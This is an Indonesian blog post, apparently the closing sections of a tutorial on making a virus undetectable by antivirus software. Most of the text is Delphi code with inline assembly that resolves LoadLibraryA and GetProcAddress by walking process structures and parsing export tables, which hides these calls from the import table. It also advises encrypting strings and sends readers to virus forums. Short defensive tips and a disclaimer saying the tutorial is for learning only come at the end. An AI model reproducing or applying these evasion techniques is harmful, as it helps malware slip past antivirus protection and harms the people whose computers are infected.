    Pada gambar 7 terlihat bahwa library yang diload kembali ke default ( pertama ) tapi saat kita melihat function yang diload kernel32.dll terdapat tambahan loadlibraryA dan getprocaddress nah bagaimana mengakalinya ??? untuk menghilangkan ini kita bisa menggunakan alternativ getloadlibrary dan alternativ getprocaddress function by steve10120 yang codenya seperti ini :

    Code:
    function xGetProcAddress(hFile:DWORD; szFunctionName:string):Pointer;
    var
      IDH:    TImageDosHeader;
      INH:    TImageNtHeaders;
      IED:    IMAGE_EXPORT_DIRECTORY;
      pNames:     Pointer;
      i:          WORD;
      pFuncAddr:  DWORD;
      x:          WORD;
    begin
      Result := nil;
      CopyMemory(@IDH, Ptr(hFile), 64);
      if IDH.e_magic = IMAGE_DOS_SIGNATURE then
      begin
        CopyMemory(@INH, Ptr(hFile + DWORD(IDH._lfanew)), 248);
        if INH.Signature = IMAGE_NT_SIGNATURE then
        begin
          CopyMemory(@IED, Ptr(hFile + INH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress), 40);
          if IED.NumberOfFunctions > 0 then
          begin
            pNames := Pointer(hFile + DWORD(IED.AddressOfNames));
            x := 0;
            for i := 0 to IED.NumberOfNames - 1 do
            begin
    
              if PChar(hFile + DWORD(pNames^)) = szFunctionName then
              begin
                CopyMemory(@pFuncAddr, Pointer(hFile + DWORD(IED.AddressOfFunctions) + x), 4);
                pFuncAddr := pFuncAddr + hFile;
                Result := Pointer(pFuncAddr);
              end;
    
              Inc(DWORD(pNames), 4);
              Inc(x, 4);
            end;
          end;
        end;
      end;
    end;
    
    function xLoadLibrary(lpLibFileName: PAnsiChar): HMODULE;
    var
      kernel32Addr: DWORD;
      pLoadLibrary: function(lpLibFileName: PAnsiChar): HMODULE; stdcall;
    begin
      asm
        push esi
        mov eax,fs:[30h]
        mov eax,[eax+0Ch]
        mov esi,[eax+1Ch]
        lodsd
        mov eax,[eax+08h]
        mov kernel32Addr,eax
        pop esi
      end;
      pLoadLibrary := xGetProcAddress(kernel32Addr, 'LoadLibraryA');
      Result := pLoadLibrary(lpLibFilename);
    end;
    adapun code kita sekarang menjadi seperti ini :

    Code:
    program Project1;
    uses
      windows;
    var
    xMessageBox :function (hWnd: HWND; lpText, lpCaption: PChar; uType: UINT): Integer; stdcall;
    xGetComputerName :function (lpBuffer: PChar; var nSize: DWORD): BOOL; stdcall;
    
    function xGetProcAddress(hFile:DWORD; szFunctionName:string):Pointer;
    var
      IDH:    TImageDosHeader;
      INH:    TImageNtHeaders;
      IED:    IMAGE_EXPORT_DIRECTORY;
      pNames:     Pointer;
      i:          WORD;
      pFuncAddr:  DWORD;
      x:          WORD;
    begin
      Result := nil;
      CopyMemory(@IDH, Ptr(hFile), 64);
      if IDH.e_magic = IMAGE_DOS_SIGNATURE then
      begin
        CopyMemory(@INH, Ptr(hFile + DWORD(IDH._lfanew)), 248);
        if INH.Signature = IMAGE_NT_SIGNATURE then
        begin
          CopyMemory(@IED, Ptr(hFile + INH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress), 40);
          if IED.NumberOfFunctions > 0 then
          begin
            pNames := Pointer(hFile + DWORD(IED.AddressOfNames));
            x := 0;
            for i := 0 to IED.NumberOfNames - 1 do
            begin
    
              if PChar(hFile + DWORD(pNames^)) = szFunctionName then
              begin
                CopyMemory(@pFuncAddr, Pointer(hFile + DWORD(IED.AddressOfFunctions) + x), 4);
                pFuncAddr := pFuncAddr + hFile;
                Result := Pointer(pFuncAddr);
              end;
    
              Inc(DWORD(pNames), 4);
              Inc(x, 4);
            end;
          end;
        end;
      end;
    end;
    
    function xLoadLibrary(lpLibFileName: PAnsiChar): HMODULE;
    var
      kernel32Addr: DWORD;
      pLoadLibrary: function(lpLibFileName: PAnsiChar): HMODULE; stdcall;
    begin
      asm
        push esi
        mov eax,fs:[30h]
        mov eax,[eax+0Ch]
        mov esi,[eax+1Ch]
        lodsd
        mov eax,[eax+08h]
        mov kernel32Addr,eax
        pop esi
      end;
      pLoadLibrary := xGetProcAddress(kernel32Addr, 'LoadLibraryA');
      Result := pLoadLibrary(lpLibFilename);
    end;
    
    function PC():String;
    var
    CompName: Array [0 .. 256] of char;
    size: DWORD;
    begin
      size := 256;
      xGetComputerName(Compname, size);
      Result := CompName;
    end;
    
    begin
      @xMessageBox := xGetProcAddress(xLoadLibrary('user32.dll'),'MessageBoxA');
      @xGetComputerName := xGetProcAddress(xLoadLibrary('kernel32.dll'),'GetComputerNameA');
      xMessageBox(0,pchar(pc),pchar('meong'),mb_ok);
    end.


    Terlihat iat yang diload kembali seperti default program yang tidak berisikan code . Oh iya tambahan untuk membuat code kita undetect juga anda bisa menambahkan encryption dan encrypt semua string ( saat program dijalankan decrypt kembali).

    Demikanlah penjelasan tentang bagaimana membuat virus undetected dari antivirus. Adapun untuk teknik lebih lanjut anda bisa menemukannya di website/forum yang membahas tentang virus.
  5. Protect Computer
    Pada bab ini saya akan memberikan beberapa tips bagaimana cara terhindar dari virus ( tentunya virus sejenis ini ). Adapun tips and tricknya sebagai berikut :

    1. Updatelah antivirus anda sesering mungkin.
    2. Gunakan / install program firewall yang akan memonitoring keluar masuknya data dikomputer anda.
    3. Usahakan semua program yang anda gunakan itu asli karena banyak orang yang membinding ( menggabungkan virus dengan program ).
    4. Sebelum menjalankan program yang anda download maka analisislah filenya terlebih dulu. Adapun untuk menganalisa program anda bisa melihat resource file, section file, dan juga sniffing lalu lintas data. Apabila anda melihat hal yang mencurigakan lansung didelete saja.
    5. Rajin – rajinlah membuka website yang membahas security untuk mengetahui teknik terbaru dari pembuat virus sehingga bisa mencegahnya virus itu menginfecsi komputer anda. Adapun website-websitenya anda bisa melihatnya dibagian credis anda thanks.
  6. Penutup
    Demikianlah tutorial dari saya. Adapun segalah kekurangan atau kesalahan pada tutorial ini mohon dimaapkan. Apabila ada yang kurang dimengerti dalam tutorial ini anda bisa lansung menanyakannya kepada saya dengan mengirimkan email ke alamat email saya yang tercantum dibagian about author. Terakhir saya kembali menegaskan tutorial ini hanya untuk pembelajaran saja tampa bermaksud untuk mengajarkan membuat virus dan merugikan orang banyak. Sekian dari saya dan terima kasih.
  7. Credit and thanks
    Terimah kasih kepada :
    - Aphex
    - steve10120
    - OMC
    - Johnyk
    - Apocalyps aka who-tr
    - Fuajar
    - Chaincoder
    - Canis Lupus
    - Nohn
    - BUNNN
    - S'to
    - Pirus
    - Aurel666
    - Cruzen

    Dan banyak lagi teman2 saya yang tidak mungkin saya sebutkan semua disini.

Tidak ada komentar:

Posting Komentar